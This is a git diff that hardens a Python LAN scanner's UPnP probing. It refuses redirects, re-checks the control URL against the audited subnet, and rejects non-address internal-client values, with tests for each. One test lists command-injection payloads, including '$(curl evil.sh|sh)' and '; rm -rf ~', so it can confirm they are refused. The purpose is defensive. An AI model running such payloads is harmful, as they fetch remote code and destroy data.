diff --git a/README.md b/README.md
index ce321c3..611389e 100644
--- a/README.md
+++ b/README.md
@@ -88,6 +88,8 @@ This rules out checks that would otherwise be easy. Anonymous-FTP detection need
One trust boundary is worth naming: SSDP replies are unauthenticated UDP, so anything on your network can forge one and choose the URL netdiff fetches next. netdiff only follows a `LOCATION` whose host is a literal private address inside the subnet being audited, and caps every response it reads.
+That check holds for every hop, not just the first. A device description can name an absolute `controlURL` that discards the URL we vetted, and any response can redirect, so the control URL is re-checked against the same subnet and redirects are refused outright. The same reasoning covers what gets *printed*: a `verify` line is a command you are told to run, so every value from the network that reaches one - the control URL, a forward's internal client - is validated where it enters, not escaped where it is rendered.
+
## Why no dependencies, and why no root
Most LAN scanners either shell out to `nmap` or send raw ARP frames with `scapy`, and raw frames need root. netdiff does neither.
diff --git a/netdiff/upnp.py b/netdiff/upnp.py
index 47a6df1..e3d074d 100644
--- a/netdiff/upnp.py
+++ b/netdiff/upnp.py
@@ -17,6 +17,16 @@
segment can forge one and point us at a URL of its choosing. We therefore only
follow a LOCATION whose host is a literal private IP inside the subnet being
audited, and we cap every body we read.
+
+That check has to survive every hop, not just the first. A description can name
+an absolute controlURL, which replaces the base URL outright, and any response
+can redirect. Both would move the fetch somewhere the check never saw, so the
+control URL is re-checked against the same subnet and redirects are refused.
+
+The strings that come back are not just fetched, they are printed: a finding's
+`verify` line is a command the report tells you to run. Anything from the
+network that reaches one is validated here, at the boundary, rather than
+escaped at each of the places it is rendered.
"""
from __future__ import annotations
@@ -177,6 +187,13 @@ def parse_mapping(response: str):
fields = {_localname(e.tag): (e.text or "").strip() for e in root.iter()}
if not fields.get("NewExternalPort") or not fields.get("NewInternalClient"):
return None
+ try:
+ # UPnP requires an address here. Anything else is a router telling us a
+ # story, and this value is rendered into a `verify` command the report
+ # tells the reader to paste into a shell.
+ ipaddress.ip_address(fields["NewInternalClient"])
+ except ValueError:
+ return None
return Mapping(
external_port=_to_int(fields["NewExternalPort"]),
protocol=fields.get("NewProtocol", ""),
@@ -209,9 +226,24 @@ def ssdp_search(timeout: float = 3.0) -> list[str]:
return replies
+class _NoRedirect(urllib.request.HTTPRedirectHandler):
+ """Refuse to follow redirects.
+
+ We check a URL against the audited subnet before fetching it. Following a
+ redirect would fetch a URL nobody checked, which is the same hole with an
+ extra step. Returning None here makes urllib raise instead.
+ """
+
+ def redirect_request(self, *args, **kwargs):
+ return None
+
+
+_OPENER = urllib.request.build_opener(_NoRedirect)
+
+
def _http_get(url: str, timeout: float) -> str:
try:
- with urllib.request.urlopen(url, timeout=timeout) as response:
+ with _OPENER.open(url, timeout=timeout) as response:
return response.read(MAX_BODY_BYTES).decode("utf-8", "replace")
except (urllib.error.URLError, OSError, ValueError):
return ""
@@ -230,7 +262,7 @@ def soap_post(control_url: str, service_type: str, index: int, timeout: float) -
},
)
try:
- with urllib.request.urlopen(request, timeout=timeout) as response:
+ with _OPENER.open(request, timeout=timeout) as response:
return response.read(MAX_BODY_BYTES).decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
# The end of the table arrives as HTTP 500 carrying a SOAP fault, so
@@ -266,6 +298,10 @@ def probe_gateway(subnet: str, timeout: float = 3.0, search=ssdp_search):
if service is None:
continue
control_url, service_type = service
+ if not is_safe_location(control_url, network):
+ # An absolute controlURL replaces the base URL entirely, so passing
+ # the check on LOCATION says nothing about where this points.
+ continue
return Gateway(
control_url=control_url,
service_type=service_type,
diff --git a/tests/test_upnp.py b/tests/test_upnp.py
index 0fa84b3..3301d46 100644
--- a/tests/test_upnp.py
+++ b/tests/test_upnp.py
@@ -6,6 +6,7 @@
test_scan_and_store.py.
"""
+import contextlib
import http.server
import ipaddress
import threading
@@ -214,6 +215,18 @@ def test_non_numeric_ports_degrade_to_zero_rather_than_raising():
assert m.internal_port == 0
+def test_an_internal_client_that_is_not_an_address_is_not_a_mapping():
+ """This field is rendered into a command the report says to paste.
+
+ The router is not trusted input, and `ping -c1 $(...)` in a block a reader
+ has been told to run is not a typo, it is the whole attack. UPnP requires an
+ address here, so anything else is refused rather than sanitised downstream.
+ """
+ for client in ("$(curl evil.sh|sh)", "192.168.1.23; rm -rf ~", "router.local"):
+ response = MAPPING_RESPONSE.replace("192.168.1.23", client)
+ assert upnp.parse_mapping(response) is None
+
+
# --- enumeration ------------------------------------------------------------
@@ -296,21 +309,64 @@ def do_POST(self):
self._send(ENTRY.format(**self.entries[index]))
-def test_probe_gateway_walks_description_then_soap_over_real_sockets():
- server = http.server.HTTPServer(("127.0.0.1", 0), _FakeIGD)
+@contextlib.contextmanager
+def _fake_router(handler):
+ """Serve `handler` on loopback, yielding the SSDP reply that points at it."""
+ server = http.server.HTTPServer(("127.0.0.1", 0), handler)
threading.Thread(target=server.serve_forever, daemon=True).start()
port = server.server_address[1]
- reply = f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n"
try:
- gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply])
+ yield f"HTTP/1.1 200 OK\r\nLOCATION: http://127.0.0.1:{port}/rootDesc.xml\r\n\r\n"
finally:
server.shutdown()
- assert gateway.control_url == f"http://127.0.0.1:{port}/ctl/IPConn"
+
+def test_probe_gateway_walks_description_then_soap_over_real_sockets():
+ with _fake_router(_FakeIGD) as reply:
+ gateway = upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply])
+
+ assert gateway.control_url.endswith("/ctl/IPConn")
assert [m.external_port for m in gateway.mappings] == [32400, 8080]
assert gateway.mappings[1].internal_client == "127.0.0.9"
+# The LOCATION check is only worth as much as the hop after it. A description
+# reached through a checked URL is still written by whoever answered, and it
+# gets to name both where we go next and what we print.
+
+
+class _AbsoluteControlURL(_FakeIGD):
+ """A description naming a controlURL outside the audited subnet."""
+
+ def do_GET(self):
+ self._send(
+ DESCRIPTION.replace(
+ "/ctl/IPConn",
+ "http://93.184.216.34/ctl",
+ )
+ )
+
+
+class _RedirectsAway(_FakeIGD):
+ """A description URL that 302s off the network."""
+
+ def do_GET(self):
+ self.send_response(302)
+ self.send_header("Location", "http://93.184.216.34/rootDesc.xml")
+ self.end_headers()
+
+
+def test_a_control_url_outside_the_subnet_is_refused():
+ """urljoin lets an absolute controlURL discard the base URL entirely."""
+ with _fake_router(_AbsoluteControlURL) as reply:
+ assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None
+
+
+def test_a_redirect_off_the_network_is_not_followed():
+ with _fake_router(_RedirectsAway) as reply:
+ assert upnp.probe_gateway("127.0.0.0/8", search=lambda timeout: [reply]) is None
+
+
def test_probe_gateway_ignores_a_forged_reply_pointing_off_network():
"""The spoofing case, end to end: nothing is fetched, nothing is returned."""
reply = "HTTP/1.1 200 OK\r\nLOCATION: http://93.184.216.34/rootDesc.xml\r\n\r\n"